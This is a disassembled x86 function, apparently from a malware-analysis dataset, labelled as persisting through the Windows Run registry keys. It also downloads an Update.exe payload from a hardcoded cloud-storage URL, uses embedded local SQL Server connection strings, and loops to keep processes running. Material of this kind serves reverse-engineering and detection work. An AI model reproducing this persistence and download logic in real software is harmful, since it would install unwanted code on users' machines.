Function at 0x40148e
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 4
call fcn.00418b77
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx], 0x42f6ed
mov dword [ebp - 0x20], 0
push 0xc
call fcn.00418b77
add esp, 4
mov dword [ebp - 0x24], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx], 0x42f75d
push ebx
mov eax, esp
push eax
call fcn.0040a10c
pop ebx
mov dword [ebp - 0x28], 0
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x2c], eax
push 0
mov ebx, 0x104
call sub.wmvert.dll_wm_GetRunPath
add esp, 4
mov dword [ebp - 0x30], eax
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
push 0x42f586
push dword [ebp - 0x30]
mov ecx, 3
call fcn.00401395
add esp, 0xc
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40158d
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40159d
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000301
push 0
push 1
push 0x80000004
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x4015bc
mov eax, 0x42f588
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4015d0
mov eax, 0x42f588
push eax
push 3
mov ebx, 0x64
mov eax, 1
call fcn.00418fc0
add esp, 0x28
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4015f8
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401608
push ebx
call fcn.00418b7d
add esp, 4
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push str.softwaremicrosoftwindowsCurrentVersionRun_
mov ecx, 2
call fcn.00401395
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401645
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x401658
mov eax, 0x42f588
push eax
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6ac
call sub.wmvert.dll_wm_IsRegItemExist
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40168a
push ebx
call fcn.00418b7d
add esp, 4
cmp dword [ebp - 0x34], 0
jne 0x401afe
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push str.softwareWOW6432NodemicrosoftwindowsCurrentVersionRun_
mov ecx, 2
call fcn.00401395
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4016d1
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4016e4
mov eax, 0x42f588
push eax
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6ac
call sub.wmvert.dll_wm_IsRegItemExist
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401716
push ebx
call fcn.00418b7d
add esp, 4
cmp dword [ebp - 0x34], 0
jne 0x401afe
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push str.softwaremicrosoftwindowsCurrentVersionRun_
mov ecx, 2
call fcn.00401395
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40175d
push ebx
call fcn.00418b7d
add esp, 4
push 0
mov ebx, 0x104
call sub.wmvert.dll_wm_GetRunPath
add esp, 4
mov dword [ebp - 0x34], eax
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x38], eax
push dword [ebp - 0x38]
push 0x42f586
push dword [ebp - 0x34]
mov ecx, 3
call fcn.00401395
add esp, 0xc
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4017b2
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4017c2
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x4017d5
mov eax, 0x42f588
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4017e9
mov eax, 0x42f588
push eax
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call sub.wmvert.dll_wm_SaveRegItem
add esp, 0x28
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40181b
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40182b
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x40]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4018e0
push 0
mov ebx, 0x104
call sub.wmvert.dll_wm_GetRunPath
add esp, 4
mov dword [ebp - 0x2c], eax
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push 0x42f586
push dword [ebp - 0x2c]
mov ecx, 3
call fcn.00401395
add esp, 0xc
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401890
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4018a0
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4018b3
mov eax, 0x42f588
push eax
push 1
mov ebx, 0x14c
mov eax, 1
call fcn.00419000
add esp, 0x10
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4018db
push ebx
call fcn.00418b7d
add esp, 4
jmp 0x401a66
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x2c], eax
push 0
mov ebx, 0x104
call sub.wmvert.dll_wm_GetRunPath
add esp, 4
mov dword [ebp - 0x30], eax
push 0
mov ebx, 0x108
call sub.wmvert.dll_wm_GetRunFileName
add esp, 4
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
push 0x42f586
push dword [ebp - 0x30]
mov ecx, 3
call fcn.00401395
add esp, 0xc
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40194a
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40195a
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000301
push 0
push 1
push 0x80000004
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x401979
mov eax, 0x42f588
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40198d
mov eax, 0x42f588
push eax
push 3
mov ebx, 0x64
mov eax, 1
call fcn.00418fc0
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4019b8
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4019c8
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
push 0x80000002
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x168
call sub.wmvert.dll_wm_Str
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push 0x42f5f3
mov ecx, 2
call fcn.00401395
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401a15
push ebx
call fcn.00418b7d
add esp, 4
mov eax, str.debug
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
mov eax, 0x42f604
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.00402030
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401a46
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401a56
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401a66
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000002
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x168
call sub.wmvert.dll_wm_Str
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push 0x42f5f3
mov ecx, 2
call fcn.00401395
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401aad
push ebx
call fcn.00418b7d
add esp, 4
mov eax, str.debug
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
mov eax, 0x42f612
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.00402030
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401ade
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401aee
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401afe
push ebx
call fcn.00418b7d
add esp, 4
mov eax, 0x42f61f
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00402974
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401b22
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
push 0
mov ebx, 0x104
call sub.wmvert.dll_wm_GetRunPath
add esp, 4
mov dword [ebp - 0x2c], eax
push 0x42f62c
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.00401395
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401b65
push ebx
call fcn.00418b7d
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x401b78
mov eax, 0x42f588
push eax
push 1
mov ebx, 0x24c
call sub.wmvert.dll_wm_IsFileExist
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401b9e
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
and eax, 1
xor eax, 1
test eax, eax
je 0x401c58
push 0
mov ebx, 0x104
call sub.wmvert.dll_wm_GetRunPath
add esp, 4
mov dword [ebp - 0x2c], eax
push 0x42f62c
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.00401395
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401bf2
push ebx
call fcn.00418b7d
add esp, 4
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
lea eax, [ebp - 0x30]
push eax
mov eax, str.https:__sgz_1302338321.cos.ap_guangzhou.myqcloud.com_store_app_Update.exe
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push 0x4305c7
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x401c39
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401c49
push ebx
call fcn.00418b7d
add esp, 4
push 0x4305c7
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x10]
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401d1e
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 1
mov eax, 0x42f682
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
call fcn.00403917
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401ca1
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401cb1
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
and eax, 1
xor eax, 1
test eax, eax
je 0x401d1e
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 1
mov eax, 0x42f69b
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
call fcn.00403917
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401d04
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401d14
push ebx
call fcn.00418b7d
add esp, 4
push 0
call fcn.00418c20
add esp, 4
mov eax, str.MSSQL_AUDSQL2008
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x38]
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401d4b
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401f76
mov eax, str.MSSQL_AUDSQL2008
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401d88
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jne 0x401e23
push 1
mov eax, str.sql2008
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push 1
mov eax, 0x42f6cb
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
mov eax, str.xlkj
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, str.127.0.0.1_1433
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x24]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401ded
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401dfd
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401e0d
push ebx
call fcn.00418b7d
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401e1d
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401f71
call fcn.004045bc
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x401e49
push ebx
call fcn.00418b7d
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x42f588
push dword [ebp - 0x28]
call fcn.004013f1
add esp, 8
cmp eax, 0
jne 0x401f6c
mov eax, 0x42f61f
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00402974
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401e8a
push ebx
call fcn.00418b7d
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401f6c
push 1
push 0
push 1
mov eax, 0x42f61f
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00409af5
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401ec4
push ebx
call fcn.00418b7d
add esp, 4
push 1
push 0
push 1
mov eax, str.Update.exe
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00409af5
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401eee
push ebx
call fcn.00418b7d
add esp, 4
push 1
push 0
mov eax, 0x42f61f
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.00409c4b
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401f19
push ebx
call fcn.00418b7d
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x401f5f
push 1
push 0
mov eax, str.Update.exe
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.00409c4b
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401f4e
push ebx
call fcn.00418b7d
add esp, 4
cmp dword [ebp - 0x3c], 0
je 0x401f5f
mov eax, 1
jmp 0x401f64
mov eax, 0
test eax, eax
jne 0x401e9a
jmp 0x401f71
jmp 0x401f76
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x67c
call sub.wmvert.dll_wm_Sleep
add esp, 0x10
jmp 0x401afe